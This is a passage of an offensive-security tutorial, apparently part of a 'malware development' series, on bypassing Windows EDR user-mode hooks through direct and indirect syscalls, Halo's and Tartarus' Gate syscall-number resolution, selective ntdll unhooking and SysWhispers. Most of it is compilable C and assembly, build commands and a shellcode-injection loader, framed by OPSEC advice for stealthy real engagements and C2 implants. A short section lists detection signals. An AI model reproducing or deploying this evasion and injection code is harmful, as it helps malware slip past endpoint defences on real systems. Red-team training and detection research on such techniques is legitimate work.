NTSTATUS status = NtAllocateVirtualMemory_Direct(
    GetCurrentProcess(),
    &addr,
    0,
    &size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

[OPSEC] Weakness of direct syscalls: The syscall instruction executes from YOUR module's memory space, not from ntdll. Modern EDRs check the call stack — if syscall originates from non-ntdll memory (an RWX or unbacked region), it's flagged. This is a call stack anomaly detection.

[IOC] Detection: Stack unwinding shows syscall return address not in ntdll address range. Tools: ThreadCheck, MDE call stack analysis, Hunt-Sleeping-Beacons.


8. Technique 5 — Halo's Gate (Hook-Aware SSN)

What it means: Hell's Gate fails when the target stub is hooked (first bytes overwritten with E9 JMP). Halo's Gate extends Hell's Gate by scanning neighboring stubs (functions adjacent in memory) to calculate the SSN of the hooked function by offset. Since ntdll exports are sorted by address and SSNs are sequential, if stub N has SSN 0x18, stub N-1 has SSN 0x17.

8.1 How Neighbor Scanning Works

All Nt*/Zw* exports sorted by Virtual Address:
  VA order:  NtAccessCheck, NtWorkerFactoryWorkerReady, ..., NtAllocateVirtualMemory
  SSN order: 0x00,          0x01,                       ..., 0x18

If NtAllocateVirtualMemory (SSN 0x18) is hooked:
  → Check NtOpenProcessToken (previous stub in VA order, SSN 0x17)
  → If clean: SSN of NtAllocateVirtualMemory = 0x17 + 1 = 0x18
  → If also hooked: check 2 back → 0x16 + 2 = 0x18

Halo's Gate searches ±N neighbors until it finds a clean one,
then calculates the target SSN by offset.

8.2 Halo's Gate Implementation (C)

// halos_gate.c — Resolve SSN even when the target stub is hooked

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#define MAX_NEIGHBOR_SEARCH 10

typedef struct {
    DWORD  rva;       // Relative virtual address of stub
    char*  name;      // Function name
    DWORD  ssn;       // Resolved SSN (0xFFFFFFFF = hooked/unknown)
} NtFuncEntry;

// Get all Nt* exports sorted by RVA (which equals SSN order)
// Returns array sorted by RVA — index = SSN
NtFuncEntry* BuildNtStubTable(HMODULE hNtdll, DWORD* count) {
    BYTE* base = (BYTE*)hNtdll;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS  nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names    = (DWORD*)(base + exp->AddressOfNames);
    DWORD* funcs    = (DWORD*)(base + exp->AddressOfFunctions);
    WORD*  ordinals = (WORD*) (base + exp->AddressOfNameOrdinals);

    // Collect only Nt*/Zw* stubs
    NtFuncEntry* table = (NtFuncEntry*)malloc(exp->NumberOfNames * sizeof(NtFuncEntry));
    DWORD n = 0;

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)(base + names[i]);
        if ((name[0] != 'N' || name[1] != 't') && (name[0] != 'Z' || name[1] != 'w'))
            continue;
        table[n].rva  = funcs[ordinals[i]];
        table[n].name = name;
        table[n].ssn  = 0xFFFFFFFF;
        n++;
    }

    // Sort by RVA (insertion sort — small N)
    for (DWORD i = 1; i < n; i++) {
        NtFuncEntry key = table[i];
        int j = i - 1;
        while (j >= 0 && table[j].rva > key.rva) {
            table[j+1] = table[j];
            j--;
        }
        table[j+1] = key;
    }

    // Assign SSNs (position in sorted RVA order = SSN)
    for (DWORD i = 0; i < n; i++) {
        BYTE* stub = base + table[i].rva;
        // Check if clean (unhooked)
        if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
            table[i].ssn = *(DWORD*)(stub + 4);
        }
        // If hooked, ssn stays 0xFFFFFFFF — will be resolved via neighbors
    }

    *count = n;
    return table;
}

DWORD HalosGate_GetSSN(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD count = 0;
    NtFuncEntry* table = BuildNtStubTable(hNtdll, &count);

    // Find target function in sorted table
    DWORD targetIdx = 0xFFFFFFFF;
    for (DWORD i = 0; i < count; i++) {
        if (strcmp(table[i].name, funcName) == 0) {
            targetIdx = i;
            break;
        }
    }

    if (targetIdx == 0xFFFFFFFF) {
        printf("[-] Function %s not found in table\n", funcName);
        free(table);
        return 0xFFFFFFFF;
    }

    // If already resolved, return directly
    if (table[targetIdx].ssn != 0xFFFFFFFF) {
        DWORD ssn = table[targetIdx].ssn;
        printf("[+] %-45s SSN: 0x%04lX (Hell's Gate)\n", funcName, ssn);
        free(table);
        return ssn;
    }

    // Function is hooked — scan neighbors
    printf("[!] %s is hooked — using Halo's Gate neighbor scan...\n", funcName);

    for (int offset = 1; offset <= MAX_NEIGHBOR_SEARCH; offset++) {
        // Check above (higher SSN)
        if ((int)targetIdx - offset >= 0 && table[targetIdx - offset].ssn != 0xFFFFFFFF) {
            DWORD ssn = table[targetIdx - offset].ssn + offset;
            printf("[+] %-45s SSN: 0x%04lX (via neighbor -%d)\n", funcName, ssn, offset);
            free(table);
            return ssn;
        }
        // Check below (lower SSN)
        if (targetIdx + offset < count && table[targetIdx + offset].ssn != 0xFFFFFFFF) {
            DWORD ssn = table[targetIdx + offset].ssn - offset;
            printf("[+] %-45s SSN: 0x%04lX (via neighbor +%d)\n", funcName, ssn, offset);
            free(table);
            return ssn;
        }
    }

    printf("[-] Could not resolve SSN for %s — too many neighbors hooked\n", funcName);
    free(table);
    return 0xFFFFFFFF;
}

int main() {
    printf("[*] Halo's Gate — Hook-Aware SSN Resolution\n\n");
    HalosGate_GetSSN("NtAllocateVirtualMemory");
    HalosGate_GetSSN("NtCreateThreadEx");
    HalosGate_GetSSN("NtWriteVirtualMemory");
    return 0;
}

9. Technique 6 — Tartarus' Gate

What it means: An enhancement of Halo's Gate that handles more EDR hook patterns. Halo's Gate only checks for E9 (relative JMP). But some EDRs use E9 at offset 0, some use E9 at offset 3, and some use FF 25 (indirect JMP). Tartarus' Gate checks all three common hook positions and patterns.

9.1 Hook Pattern Detection

// tartarus_gate.c — Extended hook detection for SSN resolution

#include <Windows.h>
#include <stdio.h>

// Hook pattern enumeration
typedef enum {
    HOOK_NONE    = 0,  // Clean stub: 4C 8B D1 B8 [SSN]
    HOOK_E9_0    = 1,  // Hooked at offset 0: E9 xx xx xx xx (JMP rel32)
    HOOK_E9_3    = 2,  // Hooked at offset 3: 4C 8B D1 E9 xx (partial patch)
    HOOK_FF25    = 3,  // Hooked: FF 25 xx xx xx xx (JMP [rip+xxx])
    HOOK_UNKNOWN = 4
} HookType;

HookType DetectHookType(BYTE* stub) {
    // Clean: 4C 8B D1 B8 XX 00 00 00
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8)
        return HOOK_NONE;

    // E9 at offset 0 (most common EDR hook)
    if (stub[0] == 0xE9)
        return HOOK_E9_0;

    // E9 at offset 3 — some EDRs patch only after mov r10,rcx
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xE9)
        return HOOK_E9_3;

    // FF 25 indirect JMP
    if (stub[0] == 0xFF && stub[1] == 0x25)
        return HOOK_FF25;

    return HOOK_UNKNOWN;
}

DWORD TartarusGate_GetSSN(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE*   stub   = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!stub) return 0xFFFFFFFF;

    HookType hookType = DetectHookType(stub);

    switch (hookType) {
    case HOOK_NONE:
        printf("[+] %-45s Clean → SSN: 0x%04X\n", funcName, *(DWORD*)(stub + 4));
        return *(DWORD*)(stub + 4);

    case HOOK_E9_0:
        printf("[!] %-45s Hooked (E9 at 0) — neighbor scan needed\n", funcName);
        break;

    case HOOK_E9_3:
        printf("[!] %-45s Hooked (E9 at 3) — neighbor scan needed\n", funcName);
        break;

    case HOOK_FF25:
        printf("[!] %-45s Hooked (FF25) — neighbor scan needed\n", funcName);
        break;

    default:
        printf("[?] %-45s Unknown pattern: %02X %02X %02X\n",
               funcName, stub[0], stub[1], stub[2]);
        return 0xFFFFFFFF;
    }

    // Fall through to neighbor scan (same logic as Halo's Gate)
    // ... (call HalosGate_GetSSN equivalent)
    return 0xFFFFFFFF;
}

int main() {
    printf("[*] Tartarus' Gate — Extended Hook Detection\n\n");

    const char* funcs[] = {
        "NtAllocateVirtualMemory",
        "NtProtectVirtualMemory",
        "NtCreateThreadEx",
        "NtWriteVirtualMemory",
        NULL
    };

    for (int i = 0; funcs[i]; i++)
        TartarusGate_GetSSN(funcs[i]);

    return 0;
}

[TOOL] Reference project: TartarusGate by trickster0 — https://github.com/trickster0/TartarusGate


10. Technique 7 — Indirect Syscalls

What it means: Direct syscalls execute syscall from your own code, which EDRs detect via call stack analysis (the syscall return address points to unbacked/RWX memory). Indirect syscalls fix this by jumping to the syscall; ret instruction that already exists inside ntdll's own .text section (a "gadget"), so the return address is legitimately inside ntdll.

10.1 Direct vs. Indirect — Call Stack Difference

Direct Syscall — what EDR sees:
  Stack frame:
  └─ Return addr: 0x00007FF600001234  ← YOUR module (unbacked/PE, looks odd)
       └─ NtAllocateVirtualMemory
            └─ [syscall instruction at 0x00007FF600001232] ← NOT in ntdll!

Indirect Syscall — what EDR sees:
  Stack frame:
  └─ Return addr: 0x00007FFCABCD1234  ← Inside ntdll.dll (legitimate!)
       └─ [syscall; ret gadget in ntdll]
            └─ Kernel

10.2 Finding a syscall;ret Gadget in ntdll

// Find an unhooked "syscall; ret" (0F 05 C3) gadget in ntdll's .text

#include <Windows.h>
#include <psapi.h>
#include <stdio.h>

LPVOID FindSyscallGadget() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    MODULEINFO mi  = {0};
    GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));

    BYTE* base = (BYTE*)hNtdll;
    SIZE_T size = mi.SizeOfImage;

    // Scan .text for: 0F 05 C3 (syscall; ret)
    for (SIZE_T i = 0; i < size - 3; i++) {
        if (base[i] == 0x0F && base[i+1] == 0x05 && base[i+2] == 0xC3) {
            printf("[+] syscall;ret gadget found at: 0x%p\n", base + i);
            return (LPVOID)(base + i);
        }
    }
    return NULL;
}

int main() {
    LPVOID gadget = FindSyscallGadget();
    if (gadget) {
        printf("[*] Use this address as your indirect syscall target\n");
        printf("    Return address will legitimately be in ntdll\n");
    }
    return 0;
}

10.3 Indirect Syscall ASM Stub

; indirect_syscall.asm — Indirect syscall via ntdll gadget
; The "syscall; ret" instruction is in ntdll, so stack looks clean

.data
    g_SyscallGadget QWORD 0   ; Address of "syscall; ret" in ntdll

.code

; Call this first with the gadget address
SetSyscallGadget PROC
    mov [g_SyscallGadget], rcx
    ret
SetSyscallGadget ENDP

; Indirect syscall stub
; Caller: set eax = SSN, set r10 = first arg (rcx)
IndirectSyscall PROC
    mov r10, rcx               ; syscall calling convention
    ; eax = SSN (set by caller)
    jmp [g_SyscallGadget]      ; jump INTO ntdll's "syscall; ret" gadget
                               ; ← stack return addr now inside ntdll
IndirectSyscall ENDP

END
// C wrapper for indirect syscall
extern void SetSyscallGadget(LPVOID gadgetAddr);
extern NTSTATUS IndirectSyscall(...);

// Setup:
LPVOID gadget = FindSyscallGadget();
SetSyscallGadget(gadget);   // store gadget address in global

// Now use IndirectSyscall with SSN set in eax before calling

[OPSEC] Indirect syscalls + call stack spoofing = strongest combination for evasion. Indirect syscalls alone still show jmp from non-ntdll code, which some EDRs flag.

[TOOL] HellsHall — implements indirect syscalls with Halo's Gate SSN resolution. GitHub: jakobfriedl/IndirectUnhook


11. Technique 8 — Selective / Per-Function Unhooking

What it means: Rather than nuking the entire ntdll .text section (which is noisy — touching MB of memory protection), you unhook only the specific functions you need and only restore their original 5–14 bytes. This is stealthier because VirtualProtect spans only a single function stub (32 bytes) rather than the whole .text section (~MB).

11.1 Targeted Single-Function Unhook

// selective_unhook.c — Restore only a specific function's original bytes

#include <Windows.h>
#include <stdio.h>

// Restore original bytes of a hooked function from a clean ntdll source
BOOL UnhookSingleFunction(const char* funcName, LPVOID cleanNtdllBase) {
    HMODULE hookedNtdll = GetModuleHandleA("ntdll.dll");

    BYTE* hookedFunc = (BYTE*)GetProcAddress(hookedNtdll, funcName);
    BYTE* cleanFunc  = (BYTE*)GetProcAddress((HMODULE)cleanNtdllBase, funcName);

    if (!hookedFunc || !cleanFunc) {
        printf("[-] Could not resolve %s from both ntdll copies\n", funcName);
        return FALSE;
    }

    // Check if actually hooked before touching
    if (hookedFunc[0] != 0xE9 && hookedFunc[0] != 0xFF && hookedFunc[0] != 0xCC) {
        printf("[*] %s appears clean — no unhooking needed\n", funcName);
        return TRUE;
    }

    printf("[*] Unhooking %s (hooked byte: 0x%02X)\n", funcName, hookedFunc[0]);

    // Only patch the hook bytes (typically 5 bytes for E9 JMP hook)
    // Restore 16 bytes to be safe (covers all hook types)
    DWORD patchSize = 16;
    DWORD oldProt   = 0;

    if (!VirtualProtect(hookedFunc, patchSize, PAGE_EXECUTE_READWRITE, &oldProt)) {
        printf("[-] VirtualProtect failed for %s\n", funcName);
        return FALSE;
    }

    memcpy(hookedFunc, cleanFunc, patchSize);
    VirtualProtect(hookedFunc, patchSize, oldProt, &oldProt);

    printf("[+] %s unhooked successfully\n", funcName);
    return TRUE;
}

int main() {
    // First, map a clean copy (KnownDlls or disk)
    // Here using disk method for brevity
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
                               GENERIC_READ, FILE_SHARE_READ, NULL,
                               OPEN_EXISTING, 0, NULL);
    HANDLE hMap  = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID cleanBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    // Only unhook what you need
    UnhookSingleFunction("NtAllocateVirtualMemory", cleanBase);
    UnhookSingleFunction("NtCreateThreadEx",        cleanBase);
    UnhookSingleFunction("NtWriteVirtualMemory",    cleanBase);

    // Execute payload here...

    UnmapViewOfFile(cleanBase);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return 0;
}

[OPSEC] Selective unhooking = least noisy unhooking method. Only 3 small VirtualProtect calls (16 bytes each) instead of one giant call on the entire .text section. Harder for EDR to pattern-match.


12. SysWhispers — Automation Tool

What it means: SysWhispers automates the process of generating direct/indirect syscall stubs for any Nt* function. Instead of writing ASM by hand, you specify which functions you want, and SysWhispers outputs ready-to-compile .h, .c, and .asm files.

12.1 SysWhispers Generations

Version Key Features SSN Resolution GitHub
SysWhispers Original, hardcoded SSN Static table outflanknl/SysWhispers
SysWhispers2 Runtime SSN, Hell's Gate Hell's + Halo's Gate jthuraisamy/SysWhispers2
SysWhispers3 Indirect syscalls, PPID spoof Tartarus' Gate klezVirus/SysWhispers3
SysWhispers4 All methods + ntdll unhook FreshyCalls, RecycledGate JoasASantos/SysWhispers4

12.2 SysWhispers3 Usage

# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt

# Generate stubs for specific functions
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory,NtProtectVirtualMemory \
    -o syscalls

# Generate with all common functions (preset)
python syswhispers.py --preset common -o syscalls

# Indirect syscall mode (cleaner call stack)
python syswhispers.py --functions NtAllocateVirtualMemory -m jumper -o syscalls

# Random syscall jumper (anti-pattern detection)
python syswhispers.py --functions NtAllocateVirtualMemory -m jumper_randomized -o syscalls

12.3 Generated Files and Integration

# Output files:
syscalls.h      # type definitions, function prototypes
syscalls.c      # SSN resolution logic
syscalls-asm.x64.asm  # actual syscall stubs (MASM)

# Compile (MSVC):
ML64 /c syscalls-asm.x64.asm
cl.exe syscalls.c your_loader.c /Fe:loader.exe
link.exe /OUT:loader.exe syscalls-asm.x64.obj syscalls.obj your_loader.obj \
    kernel32.lib libcmt.lib /MACHINE:X64 /NODEFAULTLIB:msvcrt.lib

# MinGW:
x86_64-w64-mingw32-as syscalls-asm.x64.asm -o syscalls-asm.o
x86_64-w64-mingw32-gcc syscalls.c your_loader.c syscalls-asm.o -o loader.exe

12.4 Usage in Code

// After including generated headers from SysWhispers
#include "syscalls.h"

int main() {
    // SysWhispers-generated function — no ntdll involved
    PVOID  addr = NULL;
    SIZE_T size = 0x1000;

    // NtAllocateVirtualMemory via direct syscall
    NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &addr,
        0,
        &size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Copy shellcode to allocated region
    memcpy(addr, shellcode, sizeof(shellcode));

    // Change protection (via syscall — bypasses EDR hook)
    NtProtectVirtualMemory(GetCurrentProcess(), &addr, &size, PAGE_EXECUTE_READ, &oldProt);

    // Create thread (via syscall — bypasses EDR hook)
    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
                     GetCurrentProcess(), addr, NULL,
                     FALSE, 0, 0, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

[TOOL] SysWhispers4 with ntdll unhooking:

// SysWhispers4 — ntdll unhooking built-in
#include "SW4.h"

int main() {
    // Unhook ntdll BEFORE initializing SysWhispers
    // Maps \KnownDlls\ntdll.dll and overwrites hooked .text
    SW4_UnhookNtdll();

    // Now initialize (FreshyCalls reads clean stubs)
    SW4_Initialize();

    // All subsequent syscalls bypass EDR hooks
    // ...
}

13. Detection & OPSEC Considerations

13.1 What EDRs Look For (Detection Signals)

Signal 1: VirtualProtect on ntdll .text section
  ├─ NtProtectVirtualMemory called with address inside ntdll
  ├─ Protection changes to include WRITE (RWX or RW)
  └─ Detection: HIGH — ntdll is never supposed to become writable

Signal 2: Two ntdll modules loaded (disk copy technique)
  ├─ Sysmon EventID 7 (ImageLoad): ntdll.dll loaded twice
  └─ Detection: MEDIUM — unusual to have two ntdll mappings

Signal 3: Suspended process + ReadProcessMemory (Perun's Fart)
  ├─ CreateProcess with CREATE_SUSPENDED
  ├─ ReadProcessMemory call on the suspended process
  ├─ TerminateProcess immediately after
  └─ Detection: HIGH — this pattern is very suspicious

Signal 4: NtOpenSection on \KnownDlls\ntdll.dll (KnownDlls technique)
  ├─ NtOpenSection with object path \KnownDlls\ntdll.dll
  └─ Detection: LOW-MEDIUM — less monitored than disk reads

Signal 5: syscall instruction outside ntdll (direct syscalls)
  ├─ Call stack analysis: syscall return address not in ntdll
  ├─ RWX or PE-unbacked memory executing syscall
  └─ Detection: HIGH with modern EDRs doing call stack checks

Signal 6: YARA pattern matching
  ├─ ntdll.dll string + VirtualProtect + memcpy + syscall opcode
  └─ Detection: MEDIUM — depends on YARA rule quality

13.2 OPSEC Risk by Technique

Technique Disk I/O New Process VirtualProtect Scope Detection Risk
Disk Mapping (T1) Yes (CreateFile) No Whole .text High
Perun's Fart (T2) No Yes (suspended) Whole .text High
KnownDlls (T3) No No Whole .text Medium
Direct Syscalls (T4) No No None Medium (call stack)
Halo's Gate (T5) No No None Low-Medium
Tartarus' Gate (T6) No No None Low-Medium
Indirect Syscalls (T7) No No None Low
Selective Unhook (T8) Minimal No Per-function (16B) Low-Medium

13.3 OPSEC Recommendations

For maximum stealth (CRTE/CRTP/real engagements):

1. Prefer indirect syscalls over full unhooking
   └─ No VirtualProtect on ntdll, no IOC from calling stack perspective

2. If you must unhook: use Selective/Per-function + KnownDlls source
   └─ Smallest memory footprint, lowest detection signal

3. Avoid Perun's Fart in hardened environments
   └─ Suspended process + ReadProcessMemory is well-known IOC
   └─ Use an existing process PID instead if possible

4. Combine with:
   └─ Call stack spoofing (make your frames look like legit Windows code)
   └─ ETW patching (prevent event logging)
   └─ Sleep encryption (Ekko, Gargoyle — hide in-memory while dormant)
   └─ PPID spoofing (parent process looks like explorer.exe)

5. Test your loader with:
   └─ ThreatCheck: github.com/rasta-mouse/ThreatCheck
   └─ PE-sieve:    github.com/hasherezade/pe-sieve
   └─ Moneta:      github.com/forrest-orr/moneta

13.4 Check If Unhooking Worked

// Verify unhooking by checking the first bytes of target functions
void VerifyUnhooking() {
    const char* funcs[] = {
        "NtAllocateVirtualMemory",
        "NtCreateThreadEx",
        "NtWriteVirtualMemory",
        NULL
    };

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    printf("[*] Post-unhook verification:\n");

    for (int i = 0; funcs[i]; i++) {
        BYTE* fn = (BYTE*)GetProcAddress(hNtdll, funcs[i]);
        BOOL  clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1);
        printf("  %-45s → %s (bytes: %02X %02X %02X)\n",
               funcs[i],
               clean ? "[CLEAN]" : "[STILL HOOKED]",
               fn[0], fn[1], fn[2]);
    }
}

14. Comparison Matrix

Technique Disk I/O Spawns Process VirtualProtect? Works If Hooked SSN Needed Call Stack Clean Detection Risk
Disk Mapping (CreateFileMapping) Yes No Yes (full .text) Yes No Yes High
Perun's Fart (Suspended Process) No Yes Yes (full .text) Yes No Yes High
KnownDlls (NtOpenSection) No No Yes (full .text) Yes No Yes Medium
Direct Syscalls (Hell's Gate) No No No Yes (own SSN) Yes No Medium
Halo's Gate No No No Yes (neighbor) Yes No Low-Medium
Tartarus' Gate No No No Yes (all types) Yes No Low
Indirect Syscalls No No No Yes Yes Yes Low
Selective Unhook Any source Optional Yes (16 bytes) Yes No Yes Low-Medium

15. Cheat Sheet

Quick Decision Tree — Which Technique to Use

Need to bypass EDR hooks?
│
├─ CTF / Training environment?
│   └─ Disk Mapping (Technique 1) — easy, well-documented
│
├─ Red team engagement (real EDR present)?
│   │
│   ├─ EDR doing call stack analysis?
│   │   ├─ YES → Indirect Syscalls + Halo's/Tartarus' Gate
│   │   └─ NO  → Direct Syscalls (Hell's Gate / Halo's Gate)
│   │
│   ├─ Need to unhook (not just direct syscall)?
│   │   ├─ Only a few functions → Selective Unhook + KnownDlls source
│   │   └─ Full ntdll unhook needed → KnownDlls (NtOpenSection)
│   │
│   ├─ EDR blocking CreateFile on ntdll? → KnownDlls or Perun's Fart
│   │
│   └─ Maximum stealth (APT simulation)?
│       └─ Indirect Syscalls + KnownDlls selective unhook
│           + call stack spoofing + ETW bypass
│
└─ Developing a C2 implant (Havoc/Sliver/custom)?
    └─ SysWhispers3/4 (preset=common) + indirect mode
        → generates ready-to-compile stubs

One-Liners

# Check if any Nt* functions are hooked (PowerShell)
(Get-Process -Id $PID).Modules | Where-Object {$_.ModuleName -like "ntdll*"}

# Dump ntdll from disk and compare with in-memory (detect hooks)
pe-sieve /pid <PID> /dump_mode 3

# Compile SysWhispers stubs (quick setup)
python syswhispers.py --preset common --method jumper -o sw && \
    cl.exe sw.c loader.c && link.exe /OUT:loader.exe sw-asm.x64.obj sw.obj loader.obj kernel32.lib

# x64dbg — check if function is hooked
# Breakpoint → Run → Go to [function] → Check if first instruction is JMP
# bp ntdll.NtAllocateVirtualMemory

SSN Quick Reference (Windows 10/11 x64 — common builds)

⚠️ Always resolve at runtime — these values change between builds.

Function                       Win10-21H2   Win11-22H2
NtAccessCheckAndAuditAlarm     0x0000       0x0000
NtAllocateVirtualMemory        0x0018       0x0018
NtClose                        0x000F       0x000F
NtCreateFile                   0x0055       0x0055
NtCreateProcess                0x00B3       0x00B3
NtCreateThread                 0x004E       0x004E
NtCreateThreadEx               0x00C1       0x00C1
NtDuplicateObject              0x003C       0x003C
NtOpenProcess                  0x0026       0x0026
NtOpenProcessToken             0x0028       0x0028
NtProtectVirtualMemory         0x0050       0x0050
NtQueryInformationProcess      0x0019       0x0019
NtQuerySystemInformation       0x0036       0x0036
NtReadVirtualMemory            0x003F       0x003F
NtWriteVirtualMemory           0x003A       0x003A

Source: https://j00ru.vexillium.org/syscalls/nt/64/

Hook Type Byte Reference

Byte(s)     Hook Type                   Action
0x4C 0x8B   Clean (mov r10, rcx)        Not hooked — use normally
0xE9        E9 JMP rel32 (5-byte)       Most common EDR hook
0xFF 0x25   FF 25 indirect JMP (6-byte) Absolute EDR hook
0xCC        INT3 breakpoint (1-byte)    Hardware-assisted hook
0x48 0xB8   MOV RAX + JMP (12-byte)    Absolute jump via register

Key Functions to Unhook for Process Injection

// Minimum set to unhook for shellcode injection:
const char* criticalFunctions[] = {
    "NtAllocateVirtualMemory",  // VirtualAlloc equivalent
    "NtWriteVirtualMemory",     // WriteProcessMemory equivalent
    "NtProtectVirtualMemory",   // VirtualProtect equivalent
    "NtCreateThreadEx",         // CreateRemoteThread equivalent
    "NtOpenProcess",            // OpenProcess equivalent
    NULL
};

16. Tools Reference

Tool Purpose Link
SysWhispers Syscall stub generator (original) github.com/outflanknl/SysWhispers
SysWhispers2 Runtime SSN, Hell's/Halo's Gate github.com/jthuraisamy/SysWhispers2
SysWhispers3 Indirect syscalls, randomized github.com/klezVirus/SysWhispers3
SysWhispers4 All methods + ntdll unhook github.com/JoasASantos/SysWhispers4
TartarusGate Extended hook detection/bypass github.com/trickster0/TartarusGate
HookFinder Find hooked Nt* functions in ntdll github.com/fin3ss3g0d/HookFinder
PE-sieve Memory scanning, hook detection github.com/hasherezade/pe-sieve
Moneta IOC scanner for injected processes github.com/forrest-orr/moneta
IndirectUnhook NTDLL unhook + indirect syscalls github.com/jakobfriedl/IndirectUnhook
RustRedOps Red team techniques in Rust (NTDLL unhooking included) github.com/joaoviictorti/RustRedOps
EDRSandBlast Vulnerable driver + userland unhooking github.com/wavestone-cdt/EDRSandBlast
ThreatCheck Find AV trigger bytes in payloads github.com/rasta-mouse/ThreatCheck
Ekko Sleep encryption (hide beacon in sleep) github.com/Cracked5pider/Ekko

Further Reading

  • ired.team — Full DLL Unhooking in C++: https://ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
  • MalwareTech — Intro to Bypassing User Mode EDR Hooks: https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html
  • j00ru syscall table — SSN reference for all Windows versions: https://j00ru.vexillium.org/syscalls/nt/64/
  • Sektor7 — Malware Development Intermediate course
  • VX-Underground — Whitepapers on EDR evasion
  • os3.nl research paper — Antivirus evasion by user mode unhooking: https://rp.os3.nl/2020-2021/p68/report.pdf

← Malware development top ↑